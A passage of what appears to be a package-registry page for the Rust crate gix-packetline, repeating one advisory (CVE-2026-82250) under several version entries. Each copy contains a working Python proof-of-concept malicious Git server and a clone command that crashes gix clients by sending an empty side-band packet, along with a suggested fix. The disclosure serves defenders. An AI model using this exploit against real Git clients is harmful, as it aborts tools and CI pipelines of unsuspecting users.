                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Jun 22, 2023

0.16.2 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Jun 06, 2023

0.16.1 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

May 25, 2023

0.16.0 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 26, 2023

0.15.1 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 30, 2023

0.15.0 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 14, 2023

0.14.3 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 20, 2023

0.14.2 unknown

1 CVE

CVE-2026-82250 GHSA-2vh6-hw4j-32ww Aug 28, 2026

gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details

In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC

Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()

Point the real client at it:

RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed:

thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101

Impact

A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix

Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.

Fixed in


          0.21.5

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 17, 2023

Activity

Reach

Details